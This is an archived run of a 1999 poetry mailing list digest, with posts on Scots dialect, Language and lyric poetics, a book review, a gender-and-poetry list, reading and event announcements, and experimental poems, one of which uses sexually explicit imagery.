For more info on the Edgewise ElectroLit Centre, see http://www.edgewisecafe.org

For more info on e-poets.net, see http://www.e-poets.net

*Information courtesy Kurt Heintz, e-poets.net

--
Carol L. Hamshaw
Administrator
Edgewise ElectroLit Centre
http://www.edgewisecafe.org

↑ Index

71. Kevin Magee

Re: D=E=E=N = DA DA RAMISE

Fri 7 May 1999

On 29 Apr Thu
Clai Rice wrote:

> The Concise Scots Dictionary (ed. Mairi Robinson) confirms Gwyn's supposition about deen and done, under the entry for "dae". One interesting idiom recorded with the spelling "deen" is "be deen wit it" meaning 'be dying'.
>
> On first reading I remember having vaguely registered the Scots possibility, and was put in mind of Burns' "A Red Red Rose." When I looked up the poem I didn't find any deens but did see why I might have gone for that poem initially -- "Till a' the seas gang dry, my dear/ And the rocks melt wi' the sun / Oh I will luv thee still, my dear ..."

For Hejinian the dry sea seems to have become an icon of the timelessness and changelessness that Burns declares for his love: "one cannot stop change with the next / diversity in a moment / hance also this from study / speak and in fact have nothing / like a dry sea and other matters ... in envy with life no proud nothing like a dry sea / very deep without reason of the eyes ... most unities last too long ... so much total nags a bit / distance can't describe the bar"

--Clai Rice

On Mon, 26 Apr 1999, Gwyn McVay wrote:

It's also Scots for something like trashed, used up--in the reel "The Muckin' o' Geordie's Byre," the refrain includes the line "the besom was deen," (the broom was useless) which may be cognate with "done" in that sense? The whole verse is:

The graip was tint, the besom was deen,
The barra widna row its leen,
Siccan o'sarsies never was seen
At the muckin' o' Geordie's byre.

On 7 May Fri:

Thinking about specs, specifics, specificity specularity, spectacles, species-being.

Way back when, how do I dig at "it"?
Let me count a couple ways:

OPERA ? WORKS (BIG SKY, 1975)
THE WOMAN WHO COULD READ THE MINDS OF DOGS
(SAND DOLLAR, 1976)
CUPID & PSYCHE and VIENNA (Miam, 1978)
ITALY (THE FIGURES, 1980)
MY LIFE (BURNING DECK, 1980)
ABC (TUUMBA #46, 1983)
and the TOTTEL's that starts on p. 2 with "Whiskey White" not to mention the L=A=N=G=U=[E] politics double issue.

A list like any other working poet scavanges haphazardly and second-hand, a little list for the cornerstore man, pamphlets that travel with me reading as fondly as the CASTLE WYND 1957 edition of MacDiarmid's THREE HYMNS TO LENIN.

"Of particular interest to those not familiar with that aspect of his work (41 West 96th Street, Apt. 10D, NYC 10025) is the article "Social Rules and the State as a Social Actor in the July issue of WORLD POLITICS." (Addenda to Tottel's). Am not familiar with this aspect of the work.

How does the cornerstore differ from the supermarket? UFCW on strike for so long against K-Mart that the pickets become invisible. Pockets. That post back in March calling for out-of-print books and to get them up on the web—yes!

Doesn't it promise to help out poets in Moe's with only five dollars to spend wanting that five to be ten like Jack Milton used to explain so well. To make more available to them who don't work near a university archive or rare book room or who just weren't around yet when the books were being passed around like they gave it away for free at the Whitney.

PESSIMISTIC LABOR and OTTOTOLE were not not not not school uniforms more like a proletarian blue blouse, or rappers baggy trousers, more like writing reading closely and meeting and talking to and playing softball and football with the poets who were doing it.

Are school uniforms less about reading in relation and social intercourse than cultural product, object, assimilation (reification?--don't know the word--something to do w/ aura?) and a whole lot different from the educating by grouping stuff together to identify in it some common confluences or "flows" like the shared file areas promoted in RS's Ironwood or CB's Paris Review.

The problem of period style is more something for historians maybe, though a painter will talk about abstract expressionism in a practical way like I didn't want to do that because of the use it was being put to, like this was some kind of USA monument for federal text experts' exports so I started taking junky snapshots and pasting them into my canvas.

All the vast, vexed questions, where does the art go after it gets made, what world does it make. Does it make anything at all except more art. How deep or cheap does it get remade. What is imitation. What damage does that do. What generation was it that Jakobson said squandered its poets? What is sales. What's new. What is news. What is poetry for. What is a university writing conference for or, more, what is it not seeing when the campus cops at the same time are chasing off worker-militants from the factories hawking copies of Che and Pombo and Malcolm and Maurice Bishop and saying to the kids you can use this stuff, chuck school, come to work with us in the mines, Lenin's little library is the hydraulics of philosophy. If you say that a poem can't and don't and won't ever change anything outside poetics does that drive the next gal or guy into an inherited aesthetics. Sure am glad Mom and Dad did it up on Wall Street so I can take it easy and live off the fat of the land.
Revolutionary-social romanticism and gothic skinhead suburb subculture and and and and and and and at least we don't work in the kind of coalition

> Mary Shelley did. Or do we.
>
> Clare pining over the Abbot of Croyland's coffin and plowing up the funny farm; Byron refusing to return to England without his pearl-handled pistols to off Southey; Southey (hey Yvonne, you forgot a Robert!) and Coleridge married to their housemaids calling Claire and Mary whores; Dorothy W.'s Tiny Tim tiptoes in the tulips on something like a road and ice i.e. 'haven't we spent the last two months like the gods in Ovid ?'(to be sung to the Hot August Night long live version of Kentucky Woman); Blake just about nowhere to be seen dragging Rembrandt to the trash icon; Percy Shelley sailing like a dumkopf in a deathtrap and sending his cabin boy full fathom five; Keats ashamed of his cockney accent drawing Clare's blistering remark that this Jack's classicism sounds like an overstuffed wannabe flowerchild; Hunt doing the kind of journalism Karl and Mary E. would use to throw Hegel's legs in the air in 48; Caroline Lamb writing a roman à clef in regency slang mounting Glenarvon on an Irish rabble-rouser white horse screaming bloody fucking murder; Burns pounding the moors like Robert E. Symmes pounding out war odes for oppressed nationalities from Kosovo to Normandy Ave. in L.A., and all this on the heels of Bastille Day or in between the guillotine and Benjamin's Baudelaire-Blanqui not long after Ann Radcliffe sets in motion a psycho-killer rightwing paramilitary mythos that would resurface two centuries later and make Anne Carson bang her head against the hole in the wall and call about her frequent flyer miles on the stage bound for the mining camps west of the Rockies.
>
> Comradely,
> Child Roland
> (of the Song Of)

↑ Index

72. Ryan Whyte

Aporia #2 Now Available

Fri 7 May 1999

Aporia #2

"Time"

Text and images:

Andy Patton
Monique Ladurie
Rachel Levitsky
Gordon Lebredt
Tyler Stallings
Mark A. Cheetham
Alan Jennifer Sondheim
Kent Johnson
Rachel Daley
Ryan Whyte
Nestor Kruger
Thomas Zummer

Review: Tennessee Rice Dixon
Interview: Brad Brace

ISSN 1480-9389 40 pages color offset and photocopy All correspondence: Individual issues $3 Can $2.50 U.S.A Aporia
Two-issue subscriptions: $5 Can. in Canada Ryan Whyte
$4 U.S. in U.S.A P.O. Box 124 $6 U.S. overseas Station 'C' Toronto, ON Canada M6J 3M7 [redacted]

Upcoming:

Aporia #3: winter 1999: "The Avant-Garde" with Aporia #3a "Poetry 'Supplement'" Aporia #4: ETA? "Color"

* * * * *

, to delay (from) the world

↑ Index

73. nuyopoman
"Over the Top" with Bob Holman
Fri 7 May 1999

Addendum: The show airs livetime 9PM ET. Thank you

<<“Over the Top” with Bob Holman

Premier of Internet Realtime Poetry Variety Show
Monday, May 10 9PM ET: www.pseudo.com (go to Channel-P)
Go! Poetry in conjunction with Mouth Almighty and EzraPoe2000

Your Hosts, Percy Dovetonsils and Bob Holman
The Sidekickin’ Announcer: Todd Colby
DJ Ill Badler

This week’s slammers:
Stacyann Chin, coached by Lynn Procope
Cristin O’Keefe Aptowicz, coached by Beau Sia
John Rodriguez representing the Bronx

Features:
American Poetryband Stand, where you dance to poems
Live Call-In 800 # Slamming
PoVideos: Ernie Kovacs, Leonard Cohen, Sekou Sundiata
Actual Poems by Alice Notley and Sappho
“Book Talk,” where books talk (superimposed mouths). This week, Allen Ginsberg “Death & Fame” discusses ampersands with Robert Creeley “Life & Death.”

...Plus! Surprises! Great guerrilla camera work! And, maybe your computer will work this time. Realtime, go to realplayer.com and upgrade now!!>>

↑ Index

74. KENT JOHNSON
Journal jottings [Project Experience]
Fri 7 May 1999

Kristen Gallagher put up a notice on Josh Schuster's odd and brilliant first book the other day. I thought I'd go ahead and share some jottings I'd been doing on it, stream-of-consciousness as they be.

Project Experience: Museums, Archives, Monuments, Bureaus, by Joshua Schuster [Philadelphia: Handwritten Press, 1999] (order: Kristen Gallagher, 3805 Locust Walk, Philadelphia, PA 19104)

--"The archive is an ear."

Fifty pages, bound in the shape of a blue passport from the State of Approval, as the cover has it. Kristen Gallagher, currently of the U. of Pennsylvania Writer's House and soon of SUNY/Buffalo, has curated these documents, handed to her by one Joshua Schuster. May her Handwritten Press make as many beautiful, passport-sized books as there are countries in the world.

Is this Schuster's passport into our State or our passport into his?

Scripted question. But it's not clear who is speaking. The Museums and Archives, Monuments and Bureaus, in a kind of Foucauldian play on the pathetic fallacy, speak at us, though sometimes, too, an "I" interrupts, and sometimes a kind of narrator, like the guide on the headset in the museum or like a person talking to himself. But this confusion of authority is part the point, isn't it, for it's much of the truth of our current state. Our Institutions _do_ speak, are outside and inside us at the same moment, and when we speak we speak them and they speak us. Thus who is listening as a question we need to listen to. Scripted sentence. Boring Belgrade rubble replaced by grieving American students. F-16's in formation, majestic over teacher's funeral. Commercial for Lockheed, joyous child holding paper airplane aloft. Let us pray. Must teach Our children that violence is not the answer, says teary President inside of us, making heads nod. How surprising to the refugee when she sees the saplings shiver their leaves inside the transparent torso of the border guard. Now give me your archives and go to NATO, he says, if you love them so much. On page 27:

You are the sum of your storages: organs
of memory, organs of the morning, organs
of waiting, organs of identity. To tend the archive is a kind of organology.

A bit Jabes in its aphoristic proceeding, a bit Popa in its mythic charge, a bit Simic in its cobbling of surreal miniatures, a bit Palmer in its hieratic namings, a bit Museum of Jurassic Technology--the whole book--in its wunderkammer (sp?) feel, its oscillations between the true and the not and the third thing that is then thrown into thought, though who knows what name that third thing has (something expiring between the tip of the tongue and the top of the teeth, I think, when we make the sound of the). Scripted sentence. Schuster scratching at it, page 16:

The kingdom is sustained by three things:
the kingdom of broken secrets, the kingdom of splitting images, and the kingdom of the expiration of meaning--but the kingdom of a bird on a leash transcends
them all.

Sustenance is sustained by three things:
the sustenance of pollution, the sustenance of hiding as a way of seeking, and the sustenance of a thought that consumes itself--but the sustenance of your mouth
left over in my mouth transcends them all.

Three things are sustained by three things:
the three sides of the body, the three seconds in between in each breath, and the three rings around one's eyes--but the three names in your face transcend them all.

It is the size of Mao's Little Red book, but blue. Remember once, in the late 70's, I worked with a guy on a demonstration in Milwaukee to protest First Wisconsin Bank stock holdings in South Africa. For some reason I thought he was a Mennonite, but he turned out to be a member of the Revolutionary Communist Party! How surprising that soon whole cities will be a thousand feet underwater. Scripted sentence. Museums, archives, monuments, and bureaus, in slow dissolve beneath a giant lake. Mao, great conceptual artist in his embalmed body. Stalinism with a neo-liberal skull. Humanitarian bombs to bring home refugees fleeing blind rage same bombs inflamed. Supreme Allied Commander on verge of Star Wars prequel proposing to laser-torch Russian ships. Let us pray. Well-meaning poets wringing hands. What can we do?

You convince the doctor you are sick to enter this archive. Why don't they just let me in, you ask yourself, since it's obvious you are ill? Ill to whom? Your illness is a kind of _argument_. The doctor is full of belief, in that he doesn't believe you. Who should believe you? After all, you wear your illness like a badge, a patch of identity, like you are in the army of the sick. But you have a family to take care of, a family of illnesses. You deserve to be in these archives.

It is so natural to be inside the archives. Poets too, surely, sick unto death, deserve entry. Let us in. Come into us. It's not that we mean to rebel too much--just want to expand the range of language, the range of the transgressively erotic, lend a bit of magic to the world. And yes, please, we'd like our names in the museum too. I wring my hands all the time. Scripted sentence. Bureaucrat's heart, feigning difference. And how surprising, after all, when you pick up a first book by someone 21 and finds hands opened out into this:

An audience of heads, one mound after another.

A smouldering mound: a pile of black burnt dirt constantly giving off smoke to be placed in front of any structure which was burned down.

A temple is burned down. One does not clear it away, but let it remain in its remains. This is now the holy place, a place of unplacement, a burned and charred temple to remain standing still burning in the minds which live among it.

That mound, there, it is breathing.

The thought mounds up.

(idea for ending review): In an age of pixels, electronic and poetic, where "religion is merely the bomber exploding with his bomb," Schuster's book a little document of compassionate thought that mounds up-- a listening and thinking that "curls the air and folds it into words," a little charm, at least for a spell, against the archive's siren song. If you collect small and fleeting things, whose meanings build and build, get this passport. Offer it, willingly, to the border guard inside you.

↑ Index

75. Linda Russo
Gender quiz, or just a list
Fri 7 May 1999

Gender is maintained as a category to discuss poetry (by women) on the grounds that:

a. biology is destiny: because contemporary women (which in this case = female) poets inhabit female bodies, and so inhabit the spheres in which these bodies circulate, their poetic strategies are compared to those other women poets who inhabit(ed) the same. Whereas precursors were restricted to their 'spere' (Ann Bradstreet), contemporaries are interested in (instances of) boundary crossing (Susan Howe).

b. biology as history: same as (a) but the comparison extends historically so as to yield up a geneaology of feminist- or female- poetic 'strategies.' Danger of developing haphazardly into essentializing arguments for 'women's language.' Might lapse into arguments for mimesis. (That the strategic white spaces in Adrianne Rich's poetry = gaps, silences, or mastectomies).

c. woman as other: female poets, because they are not male, have historically been excluded from male homo-social discourses, on the basis of (a) and (b). Relies on the Oedipal master narrative for differentiation. Poetry by women either instantiates this ideology or challenges it by refusing or ironizing her 'place' in the phallic economy. (HD).

d. social-constructivist: because gender is discursive and socially constructed, women poets construct their subjectivity in such a way as to challenge the sort of lineages constructed by (a) (b) and (c). In this way, the woman poet refuses to be 'other' by instead claiming the 'multiple,' 'indeterminate' or non-phallic, non-objectifying as her mode of subjectivity. (Stein).

e. liberal-humanist: because men and women are equal, intellectually at least, under certain circumstances (myopic specificity), each have equal access to language, modes of dissemination, and reward systems. As long as she develops her voice, she can write about whatever she wants to (as long as desire doesn't degrading into naming 'parts'). Gender is maintained as a catagory presumably because in a democratic society men and women are equal. Without it, poetry is otherwise often indistinguishable in terms of its deployment of various poetic stragtegies.

f. radical-optimist: Women are vastly outnumbered in poetic production, and have little control of the modes of dissemination and the reward system, but this has changed radically since WWII. Many have come around and realized that women _can_ write poetry, and can produce and edit magazines and books. There are some cool women poets who serve as 'mother' figures to promote the often-daunting task of contributing to a discourse which offers no specific discouragement.

g. radical-realist: Because there is no such thing as the universal voice. And we have to remind ourselves of the particularities of poets (regardless of the particularities of the subjectivities they construct, or whether they choose to disregard subjectivity) in relation to the particularities of the poems they write. Gender is one such particularity. It is separable from other particularities only as a critical category, and as such it is exclusive, even detrimentally so in some cases.

h. pessimist (or optimist, depending on whether the glass is half full or half empty): Gender isn't going away any time soon.

i. I, I , I. I is a convention. I tries to make particular texts read as though there were some one:to:one correlation between signifiers and signifieds. This isn't as dry as it sounds. It's possible that I doesn't intend to delude itself or its readers. I is a pedagogical tool. I know some I's personally. I used to be universal, but now I's ungendered.

↑ Index

76. Poetry Project

upcoming futures at the Poetry Project

Fri 7 May 1999

For the week of May 9-15
for yr hearing pleasures:

Monday May 10 @ 8pm

Tom Devaney

&

Gregory Fuchs

Wednesday May 12 @ 8pm

Paul Beatty

&

Michael McClure

Friday May 14 @ 10:30pm

Big Bridge: A webzine of Poetry, Art & Everything Else

a reading to celebrate the one year anniversary of Big Bridge featuring readings by:

Tom Savage
Merry Fortune
Bernadette Mayer
Phil Good
Jill Rapaport
Sharon Mesmer
Tom Devaney
Carl Watson
Ernest Slyman
Joel Lewis
Brendan Lorber
James Graham
Bridget Meeds
Michael Rothenberg
Mike Topp
Wanda Phipps

↑ Index

77. miekal and
Re: Hail and Farewell
Fri 7 May 1999

I missed something, could someone b/c me the original hail & farewell post?

miekal

Douglas Oliver wrote:
>
> I'll always treasure the memory of Peter Quartermain, fresh back from his > retirement party, reading his goodbye speech in his kitchen while Alice and I > were on a visit to Vancouver and its fine poetry circles there. It made the > day light up.

>
> Doug

↑ Index

78. Alan Sondheim
Poem by Nikuko
Fri 7 May 1999

- ---- -

Poem by Nikuko

I want this poem to be cleansed of all reference to bombings, aerial or otherwise, missiles of crews, land or sea or air; we've only recently taken notice of the violence against us, turned like cowards to write of war and anger, mutilation and despair:
Now clean this poem, I order you: Get out with all your wars.

↑ Index

79. Gerald Schwartz
Re: Barnard and beyond Beyond
Fri 7 May 1999

Dear Rachel and whole list: When you use the lyic mode, "surrounding it with other discourses and subjectivities --so that it loses its "master narrative" quality and becomes one element among many others" does the material for that expression arrive with its own control...is it yoked? I'm thinking specifically here of the fixing of symbols in context. Control in the lyric mode seems often found in the direction given to the symbol. Much of the lyric mode control enters as an eruption, from deeper sources, of energy. Any form of activity invokes an energy. Lyricists I know talk about patching into some kind of elemental power grid. Once they're patched in...there's a Job-like tussle for control. They describe it as entering something beyond ordinary human activity. It's often chocked full of ritual and dogma...and that somehow is a vessel for their energy. Now, aprt from this shamanistic description, I believe control permeates...in a highly complex way...all expression, since it involves taking the role of an audience (perhaps an audience of one), conjugating a succession of self-images, and readjusting one's take in accordance with the anticipated reactions of others. It seems as though a poem is made at the price of fustration. The differences between inner experiences and overt behavior gives some indication of the effectiveness of control. Do lyric and language poets, despite their seeming differences in background (and intent), experience similar cognitive styles invoking control? I am asking this question as it applies to the apphrehension of poetry as articulated work, as meaningful utterance.

over,
Gerald

↑ Index

80. Maria Damon (Maria Damon)
jazz/poetry festival?
Fri 7 May 1999

---

hi i just heard about a jazz/poetry festival in florida in early june that i hadn't heard about. anybody know anything about it and how one can find out?

↑ Index

81. patrick phillips
Re: Barnard and beyond Beyond
Fri 7 May 1999

I haven't written a response on this list in 4 years or so, but I got my mail tonight with the intention of responding to Ron's note on Lang vs lyric a month ago. And what a good jot on the line by Rachel Blau DuPlesis!

I am surely not the only (Jennifer may tell) one to have seen more than a link between recuperative romantic poetics ca 1800 and the Language meaning making. That both share a synthetic with the social to reach some 'mode' in imagination. That the (romantic) lyric gesture coopts the object in order to give rise to a greater poetic subject seems to me turned inside out in the L thang. L intentionally undermines the object through an immanent critique of the social imagination, which in turn maybe gives rise to not-recuperation; which in some important way is a freedom. I am probably oversimplifying, but it appears to be a very similar machanism, if not the same one, just in another time.

This is not to say, or I am not saying, that both L and L are the same. Certainly there is a death of the object of the song in the songs transformation of the object in "classical" lyric poetry. In my opinion, Dorothy died at the hand of William. If, on the other hand, we were to take "My Life" and try to catalogue reflective gesture we might find multiple hand-held mirrors reflecting. The process of this reflection is not to sing-out (cross out), to metaphorize, the object of the song. It is to live out the life - a radically different use of a similar trope. This happens again and a again in L.

I must say that there is a vein of genuine disdain in some L'ers for L. This most likely is due to the lyric's tendency to "voice." The "voice" is not immanent, but straps its hymnal to what is a very material imagination - it's like having someone eavesdrop on your conversation - a cell-phone. There are, nonetheless lyrics that work, we just have to move beyond the incapacity of rubrics to see them.

There is more to this, but my part is done for now.

P

↑ Index

82. Daniel Zimmerman
Re: American Social Identity Survey
Sat 8 May 1999

Well, Pete, I couldn't entirely limit my responses to 'physical objects,' but I tried to keep them within the limits of physical 'occasion'--i.e., those things which impinge upon us physically, in our 'real' lives. So:

30 mph sign painted 80 mph
dyslexical graffiti
bingo
pubescent assassins entitlements
mall rats
carpal tunnel syndrome
s/he Mickey
flea markets/garage sales demolition derby
poetry slams cards for every occasion
credit card debt
non-aristocratic inbreeding premature hearing loss
eating disorders
the right to buy more than one gun a month
Hyde Park on every corner
Dr. Jekyll in every HMO
The Dallas Cowboys Cheerleaders
baton twirling

focus groups
pollsters
cosmetic airbrushing
bussing
survivalists
grade inflation
social promotion
the beginning of history at one's birth (or later, if ever)
Jay(Leno)walking
"genuine artificial" anything
artificial christmas trees
Mormons
the expended family
generations (lost, beat, hippie, me, X)
lawyers ("the most despicable segment of the population"--George III) planned obsolescence lite beer road rage public libraries
community colleges
The Constitution
the ACLU
The Statue of Liberty
the Frontier
Jazz
jug bands
"wheels"
right on red

--Dan Zimmerman

↑ Index

83. Ron Silliman

SF readings May 17-18?

Sat 8 May 1999

Can anyone tell me of interesting readings in the SF area for Monday, May 17 or Tuesday, May 18?

Ron
[redacted]

↑ Index

84. Chris Stroffolino
CHARLES ALTIERI
Sat 8 May 1999

Does anybody know how to get in touch with him?
Could you please backchannel some info.
My papers get soaked in flood.... thanks, c.....

↑ Index

85. Chris Stroffolino
NOTLEY on "the youth"....
Sat 8 May 1999

Hello---
I love Alice Notley's writing, old and new,
and I love the challenges she raises
and the provocations, etc....

in recent COMBO magazine interview, she talks about
"an extremely exciting younger generation right now" (without naming names)

and says, among other things...
"They're these people between about 23 and 36....
They're not very political, and I wish they were more political."

I know Alice sometimes lurks on this list, and am curious if she'd be interested in elaborating on this lack of politics she perceives...

But, if she doesn't, perhaps others could...
I think there's a LOT of political in the younger...

speaking for myself, I've been told sometimes that my work is TOO political...

of course, it mixes politics up with love...

if the personal is the political, if "politics" (in the global sense) without love (in the personal sense) is like suburbs without cities, or cities without farmland, then what is love without politics?

been thinking of poor phil ochs lately...

there's so many issues here she raises, i'm not going to go too deep now...

but i am interested in looking for other ways to frame this question,
because i respect and admire notley's poetry,
and her desire for a return perhaps to a more blatant concern with politics on a content level,

a moving beyond coterie politics,

and i'm glad she can say "I HATE THE CAR" more blatantly than, say, barrett watten in his "bride of the assembly line piece"....

but i think she perhaps hasn't become made aware that there are certainly much politics (unless she means something different by politics than i think she does) in writers between 23 and 36...

.....just curious....

chris stroffolino

↑ Index

86. lee ann brown
POLYVERSE BOOK PARTY: 5/13/99
Sat 8 May 1999

Come to the POLYVERSE Book Release Party

THURSDAY MAY 13th 1999

TEACHERS & WRITERS COLLABORATIVE
5 Union Square West 7th Floor
NYC 10003 [redacted]

6pm Reception

7pm: Reading
with Lee Ann Brown
+
Special Surprise Guests

Polyverse by Lee Ann Brown
(Sun & Moon Press, 1999)
New American Poetry Series 31
ISBN 1-55713-290-9

Winner of The New American Poetry Prize!
(selected by Charles Bernstein)

"I say these things not because they happen but because many things happen."
[redacted]

↑ Index

87. Alan Sondheim

3 for Azure, by us

Sat 8 May 1999

/

3 for Azure

difficult to write love poems: difficult to think through such poems: difficulty of non-succumbing: more difficult of emanation: difficult of phrase. of fate, raw chance - Jennifer, Nikuko, Alan, Julu.

Azure

and and and i am in love, trembling, your voice, image, voice-image, mem- ories of days in california, and and and these chemicals make beautiful worlds and and the object of imaginary consciousness is within me and and breathing your air, and and and the imaginary makes me yours and and and i am naked inside you, crawl through you, your pictures are on me, in me, at night there are you images, and and and california, and and days and nights in california and forever, and and and i am your gift and and at night i hear your voice again and and and see you hear you talking that day that night in california and and and thinking of you i can't breathe and every word world is yours and and and "For the rest, the object as an image is an unreality. It is no doubt pre- sent, but, at the same time, it is out of reach. I cannot touch it, change its place: or rather I can well do so, but on condition that I do it in an unreal way, by not using my own hands but those of some phantoms which give this face unreal blows: to act upon these unreal objects I must div- ide myself, make myself _unreal._" (Sartre, The Psychology of Imagina- tion) and and and the world conjoins my arms and yours, some phantoms kiss us lovingly, some phantoms divide one two three, and and and some phantoms take our names, and and and some phantoms give our names and and and Azure this is hard to write and and and "When I look at a drawing, I posit in that very glance a world of human intentions of which that drawing is a product. A man drew these lines in order to produce the likeness of a runner. Of course this likeness will appear only with the cooperation of my consciousness. But the artist knows this; he counts on it; he asks for this cooperation by means of his black lines. We must not believe that these lines appear to me first in percep- tion as pure and simple lines, and only afterwards as the elements of a _representation_ in the imaginary attitude. They appear as such in the perception itself." (Sartre) and and and you tell me, draw me, draw me, draw me towards you, and I lose myself in your lines, our lines, our lineaments, and and and we draw within one another, draw on one another, draw ourselves into our lives and life and living within the imaginary and and and watching the edges where they come towards one another and and where they form loving homes and moments suspended and and and moments when the picture turns and holds out and and and holds out loving arms

---

prophecy, progeny (to see her) your face in noctilucent clouds your smile in cracks of tortoise-shell breasts in the flight of birds hair in river's meander in the outline of mountains, arms tea-leaves and long legs cards of tarot and those eyes of yours i-ching and labia, of yours knees and smoke, animal herds pot-shards your womb flower-petals, your hands seen motions of air and motions of your breath motions of certain colours; keep still, I do see her and and and -- -- -- -- above Keeping Still, Mountain -- -- above Li The Clinging, Flame -- -- below Li The Clinging, Flame ----- ----- ----- ----- ----- ----- ----- ----- below Ch'ien The Thinking, Heaven a long flock or herd of birds. And thereby sets upon a path of breath interpretation. Between herself and her lover. But he dare not prophecy, prophecize, prophecise. Fire in noctilucent clouds: Fire in heaven: Of grace and tea-leaves. She makes the difference in the world. To begin. To think to begin. To under- take. To undertake in the meander of waters. Her womb. Nine in the fourth place: It is free. The image. To begin to undertake him. To begin to speak, to part the lips, labia. To begin with mountains, streams. To read through leaves, pine. In these small matter, it is favorable. Nine in the fourth place means nine in the second place. No blame. Freedom. He will keep still. Possession in great measure and the image of grace, and of tea-leaves, grace. The progeny of ease, your possession in great measure. This gift. In liver, the cracks; in pot-shards, display of tarot. In the great measure of such motion, flame clinging: your skin in motion motion. The Image (sticks) The Image (stones and arrangement) The Judgement (the thin cracks) The Judgement (of the cracks, the thicker) The Lines (of leaves)

---

fate-machine

words---> running---> to---> their---> destination---> and---> demise furrows <---guide <---their <---arrow's <---destinations shuttled---> arrows---> you---> and---> I---> to---> say that <---it's <---the <---shuttles' <---linear <---confinement according---> to---> the---> line's---> most---> rigid---> rules Azure, <---beg <---you, <---break me, you, them --->

↑ Index

88. Kevin Magee

MAY 15 CLEVELAND ART EVENT

Sun 9 May 1999

"governments overthrown by little girls"
Zora Neale Hurston

prisoners of the ghetto RISE RISE RISE refrain blare on E. 74th St.

ishmael ankenaton . maren bean . albertine boclear . bogden . lisa cheng . gina fraliotta . rommell franklin . ricky hayes . gregory holmes . shawn (casio) jones . chris kelley . joshua lauber . michelangelo lovelace . kevin magee . mandy mcculloch . mark mclesson . melissa o'grady . dany rodriguez . paul schuster . scott sykes . alexis thynne . dany vega . robert west

MAY SATURDAY THE 15 THE FIFTEENTH EAST 1999 6:00-10:00
THE EVENING WILL BE A SHOWING AN ART EVENT VIDEO SCULPTURE POETRY PAINTING MOVEMENT AND MUSIC SHOW
SHOWCASING THE CLEVELAND EASTSIDE HODGE SCHOOL
ART SINCE AUGUST 1996 THE RESIDENCE OF AVANT GARDE
PROLETARIAN PARIAH M-N-M-N-M-N-M-N-M-N-M-N-M-N-M-N
A BYSTANDER WHOSE windflakingSapphire WILL BE PERFORMED
BY CLEVELAND POET ALBERTINE BOCLEAR AND STUDENTS FROM THE ACADEMY OF COURT REPORTING (PICKETING)

GALLERY VIEWING 6:00 - 10:00 PM
PERFORMANCES BEGIN AT 7:00 PM
AT THE HODGE SCHOOL
1075 EAST 74th STREET
CLEVELAND, OHIO

ANY QUESTIONS CALL ALEXIS AT [redacted] OR DRIVE INTO EAST SIDE AND ASK FOR DIRECTIONS MAY SATURDAY
THE FIFTEENTH THE 15 EAST 1999 BONE THUGS & HARMONY

* * *

SADE (shaw-day)

how infinite the course of our humiliations nullity of being / being outside the top of the wall carved hole in the rock a runnel of water / a returned letter the hard absolute hostility of slaves the infinite partition of waiting see the dark figure of cakes

the city electricity black black black cell of rock
the rock well walls of rock chinks of light walls of light
the wailing wall on the step of hall of the Double go to live in her house that I might come and live with you susceptibility, flax, limbo a sharp point in the cock come within my own skin, which is the walls above the cloud plowed under she in me is my male difference the wall and the rock of a man cock tuft by the leg cock tipping head to toe cock end tip arched orange cock foam tip tongued cock craning toward cock ringing-in-range cock shank fastening cock spur of knowledge cock will to exist and to be cock extremes of assertion cock forged cavity cock quiver and trough cock grim gold salve cock prizing open ass cock pressing purple cock thronging green cock hear the queer cock "how he sings"

cock on the pink of its blue and gold cock shot up into face cock opened nostrils

cock silken-haired spent cock the face and ass cock in the foreskins zest cock lay as he lay there cock jets of glass cock wide open eye
cock tousling male yield cock emitting gloss cock in our own good hour cock mouth of the hole cock kiss blue and yellow cock clutching fountains cock dripping mouthful cock dipped to the tip of cock on deep into her yellow cock up you time after time cock tip in you the first time

causeway of a rock
the cock to the man a psalm or song on to that cross on the hill erect olive filling her silver tongue sucked indigo the olives the throat the drops fall into the chest heaving yellow and white alone like a winter black and white red vivid tilt the cry of the boy the girl in an access humped swept gray flutter down the neck of her purple inert her by the hips and hugged all her fight waits for the fuck of him to her swollen pink and white and blue

Egypt end groove
low steps of stone thigh forward fluting robe streams rays Rome his great limbs glowing philosophies doves for you she spelled her male beauty purple and violet and gold her painted precincts humming hat hummed unabated sandals blond head bent his mouth once more his bed woven the wild child soft blue curving rim dipped as rose her ankles swung hard honey gully swirl to look at her with wonder tribute our roof rapped script

the shingle pale blue broke white neck of rock sandal straps thin brown Damascus

Lebanon humped now dark hollows calling to the milling smell sacred on the common blue flat basket shadow in shadow too hips on whose orange absorb the household of a patriarch oil jar polyps

daughter head stood at edge blond head neck of rock other world
file up the rise of the head lifted head swinging and rapt
at the foot
two naked slaves broad naked legs down the rocks
a hand came out wet holds folded wet stiffly milky soft bushy tip of a dwelling place look at his house

Queer Power oppose her exposed arms armed ritual of approach turning his face to her in the vernacular

the unjust cruelty agony of injustice and cruelty you are Osiris, aren't you will you let me unclothe you his nakedness soft flesh of the socket deep and like an eye

the nails, the holes, the eye violet with oil and tender his breast petalled openness chafed refrain saying more to me now than all my words strip a man of his meaning cleanse his toes with tears oil in her hand and place her palm over / pain and panic the deep places of the body she usurps him rhythmically gathering power gathered power all his body worked with her wet core / great rose of Space she in me / the end of my being grain gods. how it leans stayed in his cave slept in his cave

the being for / waiting for come to me / will you come to me jealousy and property sway in the name of coming to be coiling at the root of my tree

I will build a century for you and me cries like this in caves out-of-the-way wasteplace got no out / see no way hope burst its binding gushed over in Goshen birthplaces a thousand years of emotions kneeling over her teeth pressed together shoulder into the outer space hands that gripped her face like a vice the king that filled her throat kneeling position / voice charged whispered back from the outer space

a beautiful new city bore their name ears of wheat pressed to their walls extra hours of work in the brickyards dig out a cave from under the inside come to the meeting before them speak to them in the public place

the voice he's got in the hole his face into her hole / the wailing wall it will be all that we fought for they told a Jerusalem in each other fully voice, voice and lips, gracious the face of probabilities prostitute cast iron pan against the gospel of Allah a story to measure my feelings by on the other side they'll call it Sinai

each one according to their wishes licking and lapping and lulling the child many signatures had reached him daubed

one of them pretend he had read a page hear him drop into the idiom of the ghetto dialect of those that hang around here blé at the well anywhere folk tune too tawny else to tell you my true name enter the court of Osiris

the last stones signs monuments honor nobody

we won't need no stones
they got to make a move start the ark public view massaged her the wedding petition garments prepare

↑ Index

89. Lowther,John

More Questions Re Experiment

Sun 9 May 1999

{ p o e t i x }

words and things : split or not split

is a name - or is putting a name to something a hypothesis ?

in a post called Thought Experiment
i wondered about theory trailing after Charles Peirce i wondered about naming a thing as 'black' mentioned how Peirce sees that as a theoretical assertion it occurs to me to further remark that it is a guess / an abductive inference / a hypothesis is X a poem ?

